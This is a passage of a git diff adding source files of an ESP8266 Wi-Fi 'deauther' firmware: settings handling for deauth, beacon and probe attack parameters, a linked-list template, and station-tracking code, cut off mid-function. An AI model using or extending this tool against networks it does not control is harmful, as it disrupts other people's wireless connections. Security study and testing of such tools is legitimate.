setAttackTimeout(data.get(keyword(S_ATTACKTIMEOUT))); + if (data.containsKey(keyword(S_FORCEPACKETS))) setForcePackets(data.get(keyword(S_FORCEPACKETS))); + if (data.containsKey(keyword(S_DEAUTHSPERTARGET))) setDeauthsPerTarget(data.get(keyword( + S_DEAUTHSPERTARGET))); + + if (data.containsKey(keyword(S_DEAUTHREASON))) setDeauthReason(data.get(keyword(S_DEAUTHREASON))); + if (data.containsKey(keyword(S_BEACONCHANNEL))) setBeaconChannel(data.get(keyword(S_BEACONCHANNEL))); + if (data.containsKey(keyword(S_BEACONINTERVAL))) setBeaconInterval(data.get(keyword(S_BEACONINTERVAL))); + if (data.containsKey(keyword(S_RANDOMTX))) setRandomTX(data.get(keyword(S_RANDOMTX))); + if (data.containsKey(keyword(S_PROBESPERSSID))) setProbesPerSSID(data.get(keyword(S_PROBESPERSSID))); + + if (version != VERSION) { + // reset(); + copyWebFiles(true); + version = VERSION; + changed = true; + } + + prnt(S_SETTINGS_LOADED); + prntln(FILE_PATH); + + // check and fix mac + if (!macValid(macSt)) getRandomMac(macSt); + + if (!macValid(macAP)) getRandomMac(macAP); + + save(true); // force saving +} + +void Settings::load(String filepath) { + String tmp = FILE_PATH; + + FILE_PATH = filepath; + load(); + FILE_PATH = tmp; +} + +void Settings::reset() { + // VERSION + version = VERSION; + + // AP + setSSID("pwned"); + setPassword("deauther"); + setChannel(9); + setHidden(false); + setCaptivePortal(true); + + // GENERAL + setLang("en"); + setAutosave(true); + setAutosaveTime(10000); + setDisplayInterface(USE_DISPLAY); + setDisplayTimeout(600); + setCLI(true); + setSerialEcho(true); + setWebInterface(true); + setWebSpiffs(false); + setLedEnabled(true); + wifi_get_macaddr(STATION_IF, macSt); + wifi_get_macaddr(SOFTAP_IF, macAP); + + // SCAN + setChTime(384); + setMinDeauths(3); + + // ATTACK + setAttackTimeout(600); + setForcePackets(3); + setDeauthsPerTarget(20); + setDeauthReason(1); + setBeaconChannel(false); + setBeaconInterval(false); + setRandomTX(false); + setProbesPerSSID(1); + + prntln(S_SETTINGS_RESETED); +} + +String Settings::getJsonStr() { + DynamicJsonBuffer jsonBuffer(4000); + JsonObject& data = jsonBuffer.createObject(); + + // Version + data.set("version", VERSION); + + // AP + data.set(keyword(S_SSID), ssid); + data.set(keyword(S_PASSWORD), password); + data.set(keyword(S_CHANNEL), channel); + data.set(keyword(S_HIDDEN), hidden); + data.set(keyword(S_CAPTIVEPORTAL), captivePortal); + + // GENERAL + data.set(keyword(S_LANG), lang); + data.set(keyword(S_AUTOSAVE), autosave); + data.set(keyword(S_AUTOSAVETIME), autosaveTime); + data.set(keyword(S_DISPLAYINTERFACE), displayInterface); + data.set(keyword(S_DISPLAY_TIMEOUT), displayTimeout); + data.set(keyword(S_SERIALINTERFACE), cli); + data.set(keyword(S_SERIAL_ECHO), serialEcho); + data.set(keyword(S_WEBINTERFACE), webInterface); + data.set(keyword(S_WEB_SPIFFS), webSpiffs); + data.set(keyword(S_LEDENABLED), ledEnabled); + data.set(keyword(S_MACAP), macToStr(getMacAP())); + data.set(keyword(S_MACST), macToStr(getMacSt())); + + // SCAN + data.set(keyword(S_CHTIME), chTime); + data.set(keyword(S_MIN_DEAUTHS), minDeauths); + + // ATTACK + data.set(keyword(S_ATTACKTIMEOUT), attackTimeout); + data.set(keyword(S_FORCEPACKETS), forcePackets); + data.set(keyword(S_DEAUTHSPERTARGET), deauthsPerTarget); + data.set(keyword(S_DEAUTHREASON), deauthReason); + data.set(keyword(S_BEACONCHANNEL), beaconChannel); + data.set(keyword(S_BEACONINTERVAL), beaconInterval); + data.set(keyword(S_RANDOMTX), randomTX); + data.set(keyword(S_PROBESPERSSID), probesPerSSID); + + String buf; + data.printTo(buf); + + return buf; +} + +void Settings::save(bool force) { + if (force || changed) { + String buf = getJsonStr(); + + if (writeFile(FILE_PATH, buf)) { + prnt(S_SETTINGS_SAVED); + prntln(FILE_PATH); + changed = false; + } else { + prnt(F("ERROR: saving ")); + prntln(FILE_PATH); + } + } +} + +void Settings::save(bool force, String filepath) { + String tmp = FILE_PATH; + + FILE_PATH = filepath; + save(force); + FILE_PATH = tmp; +} + +void Settings::print() { + String settingsJson = getJsonStr(); + + settingsJson.replace("{", "{\r\n"); + settingsJson.replace("}", "\r\n}"); + settingsJson.replace(",", "\r\n"); + prntln(S_SETTINGS_HEADER); + prntln(settingsJson); +} + +void Settings::set(const char* str, String value) { + // booleans + if (eqls(str, S_BEACONCHANNEL)) setBeaconChannel(s2b(value)); + else if (eqls(str, S_AUTOSAVE)) setAutosave(s2b(value)); + else if (eqls(str, S_BEACONINTERVAL)) setBeaconInterval(s2b(value)); + else if (eqls(str, S_SERIALINTERFACE)) setCLI(s2b(value)); + else if (eqls(str, S_DISPLAYINTERFACE)) setDisplayInterface(s2b(value)); + else if (eqls(str, S_WEBINTERFACE)) setWebInterface(s2b(value)); + else if (eqls(str, S_RANDOMTX)) setRandomTX(s2b(value)); + else if (eqls(str, S_LEDENABLED)) setLedEnabled(s2b(value)); + else if (eqls(str, S_HIDDEN)) setHidden(s2b(value)); + else if (eqls(str, S_CAPTIVEPORTAL)) setCaptivePortal(s2b(value)); + else if (eqls(str, S_SERIAL_ECHO)) setSerialEcho(s2b(value)); + else if (eqls(str, S_WEB_SPIFFS)) setWebSpiffs(s2b(value)); + + // integer + else if (eqls(str, S_FORCEPACKETS)) setForcePackets(value.toInt()); + else if (eqls(str, S_AUTOSAVETIME)) setAutosaveTime(value.toInt()); + else if (eqls(str, S_DEAUTHSPERTARGET)) setDeauthsPerTarget(value.toInt()); + else if (eqls(str, S_CHTIME)) setChTime(value.toInt()); + else if (eqls(str, S_CHANNEL)) setChannel(value.toInt()); + else if (eqls(str, S_DEAUTHREASON)) setDeauthReason(value.toInt()); + else if (eqls(str, S_ATTACKTIMEOUT)) setAttackTimeout(value.toInt()); + else if (eqls(str, S_PROBESPERSSID)) setProbesPerSSID(value.toInt()); + else if (eqls(str, S_MIN_DEAUTHS)) setMinDeauths(value.toInt()); + else if (eqls(str, S_DISPLAY_TIMEOUT)) setDisplayTimeout(value.toInt()); + + // strings + else if (eqls(str, S_LANG)) setLang(value); + else if (eqls(str, S_SSID)) setSSID(value); + else if (eqls(str, S_PASSWORD)) setPassword(value); + else if (eqls(str, S_MACAP)) setMacAP(value); + else if (eqls(str, S_MACST)) setMacSt(value); + else if (eqls(str, S_MAC) && value.equalsIgnoreCase("random")) { + setMacSt(value); + setMacAP(value); + } + + else if (eqls(str, S_VERSION)) prntln(S_ERROR_VERSION); + + else { + prnt(S_ERROR_NOT_FOUND); + prntln(str); + return; + } + + prnt(S_CHANGED_SETTING); + prntln(str); +} + +String Settings::get(const char* str) { + if (eqls(str, S_SETTINGS)) print(); + // booleans + else if (eqls(str, S_BEACONCHANNEL)) return b2s(beaconChannel); + else if (eqls(str, S_AUTOSAVE)) return b2s(autosave); + else if (eqls(str, S_BEACONINTERVAL)) return b2s(beaconInterval); + else if (eqls(str, S_SERIALINTERFACE)) return b2s(cli); + else if (eqls(str, S_DISPLAYINTERFACE)) return b2s(displayInterface); + else if (eqls(str, S_WEBINTERFACE)) return b2s(webInterface); + else if (eqls(str, S_RANDOMTX)) return b2s(randomTX); + else if (eqls(str, S_LEDENABLED)) return b2s(ledEnabled); + else if (eqls(str, S_HIDDEN)) return b2s(hidden); + else if (eqls(str, S_CAPTIVEPORTAL)) return b2s(captivePortal); + else if (eqls(str, S_SERIAL_ECHO)) return b2s(serialEcho); + else if (eqls(str, S_WEB_SPIFFS)) return b2s(webSpiffs); + + // integer + else if (eqls(str, S_FORCEPACKETS)) return (String)forcePackets; + else if (eqls(str, S_AUTOSAVETIME)) return (String)autosaveTime; + else if (eqls(str, S_DEAUTHSPERTARGET)) return (String)deauthsPerTarget; + else if (eqls(str, S_CHTIME)) return (String)chTime; + else if (eqls(str, S_ATTACKTIMEOUT)) return (String)attackTimeout; + else if (eqls(str, S_CHANNEL)) return (String)channel; + else if (eqls(str, S_DEAUTHREASON)) return (String)deauthReason; + else if (eqls(str, S_PROBESPERSSID)) return (String)probesPerSSID; + else if (eqls(str, S_MIN_DEAUTHS)) return (String)minDeauths; + else if (eqls(str, S_DISPLAY_TIMEOUT)) return (String)displayTimeout; + + // strings + else if (eqls(str, S_SSID)) return ssid; + else if (eqls(str, S_LANG)) return lang; + else if (eqls(str, S_PASSWORD)) return password; + else if (eqls(str, S_MACAP)) return macToStr(getMacAP()); + else if (eqls(str, S_MACST)) return macToStr(getMacSt()); + else if (eqls(str, S_MAC)) return "AP: " + macToStr(macAP) + ", Station: " + macToStr(macSt); + else if (eqls(str, S_VERSION)) return version; + + else { + prnt(S_ERROR_NOT_FOUND); + prntln(str); + } + + return ""; +} + +// ===== GETTERS ===== // +String Settings::getVersion() { + return version; +} + +uint16_t Settings::getDeauthsPerTarget() { + return deauthsPerTarget; +} + +uint8_t Settings::getDeauthReason() { + return deauthReason; +} + +bool Settings::getBeaconChannel() { + return beaconChannel; +} + +uint8_t Settings::getForcePackets() { + return forcePackets; +} + +bool Settings::getAutosave() { + return autosave; +} + +uint32_t Settings::getAutosaveTime() { + return autosaveTime; +} + +bool Settings::getBeaconInterval() { + return beaconInterval; +} + +uint8_t Settings::getChannel() { + return channel; +} + +String Settings::getSSID() { + return ssid; +} + +String Settings::getPassword() { + return password; +} + +bool Settings::getCLI() { + return cli; +} + +bool Settings::getDisplayInterface() { + return displayInterface; +} + +bool Settings::getWebInterface() { + return webInterface; +} + +uint16_t Settings::getChTime() { + return chTime; +} + +uint8_t* Settings::getMacSt() { + return macSt; +} + +uint8_t* Settings::getMacAP() { + return macAP; +} + +bool Settings::getRandomTX() { + return randomTX; +} + +uint32_t Settings::getAttackTimeout() { + return attackTimeout; +} + +bool Settings::getLedEnabled() { + return ledEnabled; +} + +uint8_t Settings::getProbesPerSSID() { + return probesPerSSID; +} + +bool Settings::getHidden() { + return hidden; +} + +bool Settings::getCaptivePortal() { + return captivePortal; +} + +uint16_t Settings::getMinDeauths() { + return minDeauths; +} + +uint32_t Settings::getDisplayTimeout() { + return displayTimeout; +} + +String Settings::getLang() { + return lang; +} + +bool Settings::getSerialEcho() { + return serialEcho; +} + +bool Settings::getWebSpiffs() { + return webSpiffs; +} + +// ===== SETTERS ===== // + +void Settings::setDeauthsPerTarget(uint16_t deauthsPerTarget) { + Settings::deauthsPerTarget = deauthsPerTarget; + + changed = true; +} + +void Settings::setDeauthReason(uint8_t deauthReason) { + Settings::deauthReason = deauthReason; + + changed = true; +} + +void Settings::setBeaconChannel(bool beaconChannel) { + Settings::beaconChannel = beaconChannel; + + changed = true; +} + +void Settings::setForcePackets(uint8_t forcePackets) { + if (forcePackets > 0) { + Settings::forcePackets = forcePackets; + changed = true; + } +} + +void Settings::setAutosave(bool autosave) { + Settings::autosave = autosave; + + changed = true; +} + +void Settings::setAutosaveTime(uint32_t autosaveTime) { + Settings::autosaveTime = autosaveTime; + + changed = true; +} + +void Settings::setBeaconInterval(bool beaconInterval) { + Settings::beaconInterval = beaconInterval; + + changed = true; +} + +void Settings::setChannel(uint8_t channel) { + if ((channel >= 1) && (channel <= 14)) { + Settings::channel = channel; + setWifiChannel(channel); + changed = true; + prnt(S_CHANNEL_CHANGE); + prntln(channel); + } else { + prntln(S_CHANNEL_ERROR); + } +} + +void Settings::setSSID(String ssid) { + if ((ssid.length() > 0) && (ssid.length() <= 32)) { + ssid = fixUtf8(ssid); + Settings::ssid = ssid; + changed = true; + } else { + prntln(S_ERROR_SSID_LEN); + } +} + +void Settings::setPassword(String password) { + if ((password.length() >= 8) && (password.length() <= 32)) { + password = fixUtf8(password); + Settings::password = password; + changed = true; + } else { + prntln(S_ERROR_PASSWORD_LEN); + } +} + +void Settings::setCLI(bool cli) { + Settings::cli = cli; + + changed = true; +} + +void Settings::setDisplayInterface(bool displayInterface) { + Settings::displayInterface = displayInterface; + + changed = true; +} + +void Settings::setWebInterface(bool webInterface) { + Settings::webInterface = webInterface; + + changed = true; +} + +void Settings::setChTime(uint16_t chTime) { + Settings::chTime = chTime; + + changed = true; +} + +void Settings::setMacSt(String macStr) { + uint8_t mac[6]; + + if (eqls(macStr, S_RANDOM)) getRandomMac(mac); + else strToMac(macStr, mac); + + setMacSt(mac); +} + +bool Settings::setMacSt(uint8_t* macSt) { + if (macSt[0] % 2 == 0) { + memcpy(Settings::macSt, macSt, 6); + changed = true; + return true; + } + return false; +} + +void Settings::setMacAP(String macStr) { + uint8_t mac[6]; + + if (eqls(macStr, S_RANDOM)) getRandomMac(mac); + else strToMac(macStr, mac); + + setMacAP(mac); +} + +bool Settings::setMacAP(uint8_t* macAP) { + if (macAP[0] % 2 == 0) { + memcpy(Settings::macAP, macAP, 6); + changed = true; + return true; + } + return false; +} + +void Settings::setRandomTX(bool randomTX) { + Settings::randomTX = randomTX; + + changed = true; +} + +void Settings::setAttackTimeout(uint32_t attackTimeout) { + Settings::attackTimeout = attackTimeout; + + changed = true; +} + +void Settings::setLedEnabled(bool ledEnabled) { + Settings::ledEnabled = ledEnabled; + + changed = true; +} + +void Settings::setProbesPerSSID(uint8_t probesPerSSID) { + if (probesPerSSID > 0) { + Settings::probesPerSSID = probesPerSSID; + changed = true; + } +} + +void Settings::setHidden(bool hidden) { + Settings::hidden = hidden; + + changed = true; +} + +void Settings::setCaptivePortal(bool captivePortal) { + Settings::captivePortal = captivePortal; + + changed = true; +} + +void Settings::setMinDeauths(uint16_t minDeauths) { + Settings::minDeauths = minDeauths; + + changed = true; +} + +void Settings::setDisplayTimeout(uint32_t displayTimeout) { + Settings::displayTimeout = displayTimeout; + + changed = true; +} + +void Settings::setLang(String lang) { + Settings::lang = lang; + + changed = true; +} + +void Settings::setSerialEcho(bool serialEcho) { + Settings::serialEcho = serialEcho; + + changed = true; +} + +void Settings::setWebSpiffs(bool webSpiffs) { + Settings::webSpiffs = webSpiffs; + + changed = true; +} \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/Settings.h b/enp8266/esp8266_deauther-master/esp8266_deauther/Settings.h new file mode 100755 index 0000000..20340a9 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/Settings.h @@ -0,0 +1,139 @@ +#ifndef Settings_h +#define Settings_h + +#include "Arduino.h" +#include +extern "C" { + #include "user_interface.h" +} +#include "ArduinoJson.h" +#include "language.h" +#include "A_config.h" + +#define VERSION "v2.1.0" + +extern void checkFile(String path, String data); +extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer); +extern bool writeFile(String path, String& buf); +extern void saveJSONFile(String path, JsonObject& root); +extern String macToStr(uint8_t* mac); +extern void getRandomMac(uint8_t* mac); +extern bool strToMac(String macStr, uint8_t* mac); +extern void setWifiChannel(uint8_t ch); +extern String fixUtf8(String str); +extern void copyWebFiles(bool force); +extern bool macValid(uint8_t* mac); + +class Settings { + public: + Settings(); + void load(); + void load(String filepath); + void save(bool force); + void save(bool force, String filepath); + void reset(); + void print(); + + void set(const char* str, String value); + String get(const char* str); + + String getVersion(); + uint16_t getDeauthsPerTarget(); + uint8_t getDeauthReason(); + bool getBeaconChannel(); + uint8_t getForcePackets(); + bool getAutosave(); + uint32_t getAutosaveTime(); + bool getBeaconInterval(); + uint8_t getChannel(); + String getSSID(); + String getPassword(); + bool getCLI(); + bool getDisplayInterface(); + bool getWebInterface(); + uint16_t getChTime(); + uint8_t* getMacSt(); + uint8_t* getMacAP(); + bool getRandomTX(); + uint32_t getAttackTimeout(); + bool getLedEnabled(); + uint8_t getProbesPerSSID(); + bool getHidden(); + bool getCaptivePortal(); + uint16_t getMinDeauths(); + uint32_t getDisplayTimeout(); + String getLang(); + bool getSerialEcho(); + bool getWebSpiffs(); + + void setDeauthsPerTarget(uint16_t deauthsPerTarget); + void setDeauthReason(uint8_t deauthReason); + void setBeaconChannel(bool beaconChannel); + void setForcePackets(uint8_t forcePackets); + void setAutosave(bool autosave); + void setAutosaveTime(uint32_t autosaveTime); + void setBeaconInterval(bool beaconInterval); + void setChannel(uint8_t channel); + void setSSID(String ssid); + void setPassword(String password); + void setCLI(bool cli); + void setDisplayInterface(bool displayInterface); + void setWebInterface(bool webInterface); + void setChTime(uint16_t chTime); + void setMacSt(String macStr); + bool setMacSt(uint8_t* macSt); + void setMacAP(String macStr); + bool setMacAP(uint8_t* macAP); + void setRandomTX(bool randomTX); + void setAttackTimeout(uint32_t attackTimeout); + void setLedEnabled(bool ledEnabled); + void setProbesPerSSID(uint8_t probesPerSSID); + void setHidden(bool hidden); + void setCaptivePortal(bool captivePortal); + void setMinDeauths(uint16_t minDeauths); + void setDisplayTimeout(uint32_t displayTimeout); + void setLang(String lang); + void setSerialEcho(bool serialEcho); + void setWebSpiffs(bool webSpiffs); + + private: + bool changed = false; + + String version = VERSION; + + bool beaconChannel = false; + bool autosave = true; + bool beaconInterval = false; + bool cli = true; + bool displayInterface = USE_DISPLAY; + bool webInterface = true; + bool webSpiffs = false; + bool randomTX = false; + bool ledEnabled = true; + bool serialEcho = true; + + uint32_t attackTimeout = 600; + uint32_t autosaveTime = 10000; + uint32_t displayTimeout = 600; + uint16_t deauthsPerTarget = 20; + uint16_t chTime = 384; + uint16_t minDeauths = 3; + uint8_t forcePackets = 1; + uint8_t channel = 9; + uint8_t deauthReason = 1; + uint8_t* macSt; + uint8_t* macAP; + uint8_t probesPerSSID = 1; + + String ssid = "pwned"; + String password = "deauther"; + bool hidden = false; + bool captivePortal = true; + String lang = "en"; + + String FILE_PATH = "/settings.json"; + + String getJsonStr(); +}; + +#endif // ifndef Settings_h diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/SimpleList.h b/enp8266/esp8266_deauther-master/esp8266_deauther/SimpleList.h new file mode 100755 index 0000000..a298858 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/SimpleList.h @@ -0,0 +1,521 @@ +#ifndef SimpleList_h +#define SimpleList_h + +/* + =========================================== + Copyright (c) 2018 Stefan Kremser + github.com/spacehuhn + =========================================== + */ + +#include +#include +#include + +template +struct SimpleListNode { + T data; + SimpleListNode* next = NULL; +}; + +template +class SimpleList { + public: + SimpleList(); + SimpleList(int(*compare)(T & a, T & b)); + virtual ~SimpleList(); + + virtual void setCompare(int (* compare)(T& a, T& b)); + + virtual int size(); + virtual bool isSorted(); + virtual bool isEmpty(); + + virtual void add(int index, T obj); + virtual void add(T obj); + virtual void insert(T obj); + + virtual void replace(int index, T obj); + virtual void swap(int x, int y); + + virtual void remove(int index); + virtual void removeFirst(); + virtual void removeLast(); + + virtual bool has(T obj); + virtual int count(T obj); + + virtual T shift(); + virtual T pop(); + virtual T get(int index); + virtual T getFirst(); + virtual T getLast(); + + virtual void moveToEnd(); + + virtual int search(T obj); + virtual int searchNext(T obj); + virtual int binSearch(T obj); + + virtual void sort(); + virtual void clear(); + + protected: + int (* compare)(T& a, T& b) = NULL; + + int listSize = 0; + SimpleListNode* listBegin = NULL; + SimpleListNode* listEnd = NULL; + + // Helps get() method by saving last position + SimpleListNode* lastNodeGot = NULL; + int lastIndexGot = -1; + bool isCached = false; + + bool sorted = true; + + virtual SimpleListNode* getNode(int index); + virtual int binSearch(T obj, int lowerEnd, int upperEnd); +}; + +template +SimpleList::SimpleList() {} + +template +SimpleList::SimpleList(int(*compare)(T & a, T & b)) { + setCompare(compare); +} + +// Clear Nodes and free Memory +template +SimpleList::~SimpleList() { + clear(); +} + +template +void SimpleList::setCompare(int (* compare)(T& a, T& b)) { + this->compare = compare; + sort(); +} + +template +SimpleListNode* SimpleList::getNode(int index) { + if ((index < 0) || (index >= listSize)) return NULL; + + SimpleListNode* hNode = listBegin; + int c = 0; + + if (isCached && (index >= lastIndexGot)) { + c = lastIndexGot; + hNode = lastNodeGot; + } + + while (hNode && c < index) { + hNode = hNode->next; + c++; + } + + if (hNode) { + isCached = true; + lastIndexGot = c; + lastNodeGot = hNode; + } + + return hNode; +} + +template +int SimpleList::size() { + return listSize; +} + +template +bool SimpleList::isSorted() { + return sorted; +} + +template +bool SimpleList::isEmpty() { + return listSize == 0; +} + +template +void SimpleList::add(T obj) { + // create new node + SimpleListNode* newNode = new SimpleListNode(); + + newNode->data = obj; + + if (!listBegin) listBegin = newNode; + + if (listEnd) { + listEnd->next = newNode; + listEnd = newNode; + } else { + listEnd = newNode; + } + + listSize++; + sorted = false; +} + +template +void SimpleList::add(int index, T obj) { + if ((index < 0) || (index >= listSize)) { + return; + } + + SimpleListNode* newNode = new SimpleListNode(); + newNode->data = obj; + + if (index == 0) { + listBegin = newNode; + } else { + SimpleListNode* nodePrev = getNode(index - 1); + newNode->next = nodePrev->next; + nodePrev->next = newNode; + } + + listSize++; + sorted = false; +} + +template +void SimpleList::insert(T obj) { + if (!compare) { + add(obj); + return; + } + + if (!sorted) sort(); + + // create new node + SimpleListNode* newNode = new SimpleListNode(); + newNode->data = obj; + + if (listSize == 0) { + // add at start (first node) + listBegin = newNode; + + listEnd = newNode; + } else { + if (compare(obj, listEnd->data) >= 0) { + // add at end + listEnd->next = newNode; + listEnd = newNode; + } else if (compare(obj, listBegin->data) < 0) { + // add at start + newNode->next = listBegin; + listBegin = newNode; + } else { + // insertion sort + SimpleListNode* h = listBegin; + SimpleListNode* p = NULL; + bool found = false; + + // here a sequential search, because otherwise the previous node couldn't be accessed + while (h && !found) { + if (compare(obj, h->data) < 0) { + found = true; + } else { + p = h; + h = h->next; + } + } + newNode->next = h; + + if (p) p->next = newNode; + } + } + + listSize++; +} + +template +void SimpleList::replace(int index, T obj) { + if ((index >= 0) && (index < listSize)) { + getNode(index)->data = obj; + } +} + +template +void SimpleList::swap(int x, int y) { + // only continue when the index numbers are unequal and at least 0 + if ((x != y) && (x >= 0) && (y >= 0)) { + if (x > y) { // the first index should be smaller than the second. If not, swap them! + int h = x; + x = y; + y = h; + } + + // When data is small, copy it + if (sizeof(T) < 24) { + SimpleListNode* nodeA = getNode(x); + SimpleListNode* nodeB = getNode(y); + T h = nodeA->data; + nodeA->data = nodeB->data; + nodeB->data = h; + } + + // otherwise change the pointers + else { + // Example: a -> b -> c -> ... -> g -> h -> i + // we want to swap b with h + SimpleListNode* nodeA = getNode(x - 1); // x.prev + SimpleListNode* nodeB = getNode(x); // x + SimpleListNode* nodeC = getNode(x + 1); // x.next + SimpleListNode* nodeG = y - 1 == x ? nodeB : getNode(y - 1); // y.prev + SimpleListNode* nodeH = getNode(y); // y + SimpleListNode* nodeI = getNode(y + 1); // y.next + + // a -> h -> i b -> c -> ... -> g -> h -> i + if (nodeA) nodeA->next = nodeH; + else listBegin = nodeH; + + // a -> h -> c -> ... -> g -> h -> i b -> i + if (nodeH != nodeC) // when nodes between b and h exist + nodeH->next = nodeC; + else nodeH->next = nodeB; + + // a -> h -> i b -> i + nodeB->next = nodeI; + + if (!nodeI) listEnd = nodeB; + + // a -> h -> c -> ... -> g -> b -> i + if (nodeG != nodeB) // when more than 1 nodes between b and h exist + nodeG->next = nodeB; + } + } +} + +template +void SimpleList::remove(int index) { + if ((index < 0) || (index >= listSize)) return; + + SimpleListNode* nodePrev = getNode(index - 1); + SimpleListNode* nodeToDelete = getNode(index); + + if (index == 0) { + listBegin = nodeToDelete->next; + } else { + nodePrev->next = nodeToDelete->next; + + if (!nodePrev->next) listEnd = nodePrev; + } + + delete nodeToDelete; + + isCached = false; + + listSize--; +} + +template +void SimpleList::removeFirst() { + remove(0); +} + +template +void SimpleList::removeLast() { + remove(listSize - 1); +} + +template +bool SimpleList::has(T obj) { + return binSearch(obj) >= 0; +} + +template +int SimpleList::count(T obj) { + if (compare == NULL) return -1; + + int c = 0; + + for (int i = 0; i < listSize; i++) { + if (compare(obj, getNode(i)->data) == 0) c++; + } + + return c; +} + +template +T SimpleList::get(int index) { + SimpleListNode* h = getNode(index); + + if (h) return h->data; + + return T(); +} + +template +T SimpleList::getFirst() { + return get(0); +} + +template +T SimpleList::getLast() { + return get(listSize - 1); +} + +template +void SimpleList::moveToEnd() { + SimpleListNode* h = listBegin; + + if (!h) return; + + listBegin = listBegin->next; + listEnd->next = h; + + h->next = NULL; + listEnd = h; + + lastNodeGot = NULL; + lastIndexGot = -1; + isCached = false; + + sorted = false; +} + +template +int SimpleList::search(T obj) { + if (compare == NULL) return -1; + + int i = 0; + + SimpleListNode* hNode = getNode(i); + bool found = compare(obj, hNode->data) == 0; + + while (!found && i < listSize) { + i++; + hNode = getNode(i); + found = compare(obj, hNode->data) == 0; + } + + return found ? i : -1; +} + +template +int SimpleList::searchNext(T obj) { + if (compare == NULL) return -1; + + int i = lastIndexGot; + + SimpleListNode* hNode = lastNodeGot; + bool found = compare(obj, hNode->data) == 0; + + while (!found && i < listSize) { + i++; + hNode = getNode(i); + found = compare(obj, hNode->data) == 0; + } + + return found ? i : -1; +} + +template +int SimpleList::binSearch(T obj, int lowerEnd, int upperEnd) { + if (!compare || !sorted) return search(obj); + + if (!listBegin) return -1; + + int res; + int mid = (lowerEnd + upperEnd) / 2; + + SimpleListNode* hNode = getNode(0); + int hIndex = 0; + + while (lowerEnd <= upperEnd) { + hNode = lastNodeGot; + hIndex = lastIndexGot; + res = compare(obj, getNode(mid)->data); + + if (res == 0) { + return mid; + } else if (res < 0) { + // when going left, set cached node back to previous cached node + lastNodeGot = hNode; + lastIndexGot = hIndex; + isCached = true; + + upperEnd = mid - 1; + mid = (lowerEnd + upperEnd) / 2; + } else if (res > 0) { + lowerEnd = mid + 1; + mid = (lowerEnd + upperEnd) / 2; + } + } + + return -1; +} + +template +int SimpleList::binSearch(T obj) { + return binSearch(obj, 0, listSize - 1); +} + +template +T SimpleList::pop() { + T data = getLast(); + + removeLast(); + + return data; +} + +template +T SimpleList::shift() { + T data = getFirst(); + + removeFirst(); + + return data; +} + +template +void SimpleList::clear() { + while (listSize > 0) removeFirst(); + + listSize = 0; + listBegin = NULL; + listEnd = NULL; + + lastNodeGot = NULL; + lastIndexGot = -1; + isCached = false; + + sorted = true; +} + +template +void SimpleList::sort() { + if (compare == NULL) return; + + // selection sort (less swaps than insertion sort) + + int indexH; // index of node i + int indexMin; // index of next minimum node + + SimpleListNode* nodeMin; // next minimum node + SimpleListNode* nodeH; // helper node at index j + + for (int i = 0; i < listSize - 1; i++) { + nodeMin = getNode(i); + indexH = i; + indexMin = i; + + for (int j = i + 1; j < listSize; j++) { + nodeH = getNode(j); + + if (compare(nodeMin->data, nodeH->data) > 0) { + nodeMin = nodeH; + indexMin = j; + } + } + swap(indexH, indexMin); + } + + this->sorted = true; +} + +#endif // ifndef SimpleList_h \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/Stations.cpp b/enp8266/esp8266_deauther-master/esp8266_deauther/Stations.cpp new file mode 100755 index 0000000..aad6c45 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/Stations.cpp @@ -0,0 +1,367 @@ +#include "Stations.h" + +Stations::Stations() { + list = new SimpleList(); +} + +void Stations::add(uint8_t* mac, int accesspointNum) { + int stationNum = findStation(mac); + + if (stationNum < 0) { + internal_add(mac, accesspointNum); + // print(list->size() - 1, list->size() == 1, false); + } else { + *getPkts(stationNum) += 1; + *getTime(stationNum) = currentTime; + } + changed = true; +} + +int Stations::findStation(uint8_t* mac) { + int c = count(); + + for (int i = 0; i < c; i++) { + if (memcmp(getMac(i), mac, 6) == 0) return i; + } + return -1; +} + +void Stations::sort() { + list->setCompare([](Station& a, Station& b) -> int { + if (*(a.pkts) > *(b.pkts)) return -1; + + if (*(a.pkts) == *(b.pkts)) return 0; + + return 1; + }); + list->sort(); +} + +void Stations::sortAfterChannel() { + list->setCompare([](Station& a, Station& b) -> int { + if (a.ch < b.ch) return -1; + + if (a.ch == b.ch) return 0; + + return 1; + }); + list->sort(); +} + +void Stations::removeAll() { + internal_removeAll(); + prntln(ST_CLEARED_LIST); + changed = true; +} + +void Stations::removeOldest() { + int oldest = 0; + int c = count(); + + for (int i = 1; i < c; i++) { + if (*getTime(i) > *getTime(oldest)) oldest = i; + } + internal_remove(oldest); + changed = true; +} + +void Stations::printAll() { + prntln(ST_HEADER); + int c = count(); + + if (c == 0) prntln(ST_LIST_EMPTY); + else + for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1); +} + +void Stations::printSelected() { + prntln(ST_HEADER); + int max = selected(); + int c = count(); + + if (max == 0) { + prntln(ST_NO_DEVICES_SELECTED); + return; + } + + for (int i = 0, j = 0; i < c && j < max; i++) { + if (getSelected(i)) { + print(i, j == 0, j == max - 1); + j++; + } + } +} + +void Stations::print(int num) { + print(num, true, true); +} + +void Stations::print(int num, bool header, bool footer) { + if (!check(num)) return; + + if (header) { + prntln(ST_TABLE_HEADER); + prntln(ST_TABLE_DIVIDER); + } + + prnt(leftRight(String(), (String)num, 2)); + prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18)); + prnt(leftRight(String(SPACE), (String)getCh(num), 3)); + prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17)); + prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9)); + prnt(leftRight(String(SPACE), (String) * getPkts(num), 9)); + prnt(leftRight(String(SPACE) + getAPStr(num), String(), 33)); + prnt(leftRight(String(SPACE) + getTimeStr(num), String(), 10)); + prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9)); + + if (footer) prntln(ST_TABLE_DIVIDER); +} + +String Stations::getAPStr(int num) { + if (getAP(num) < 0) return String(); + + return accesspoints.getSSID(getAP(num)); +} + +uint8_t* Stations::getAPMac(int num) { + if (!check(num)) return 0; + + return WiFi.BSSID(list->get(num).ap); +} + +String Stations::getAPMacStr(int num) { + if (!check(num)) return String(); + + uint8_t* mac = getAPMac(num); + return bytesToStr(mac, 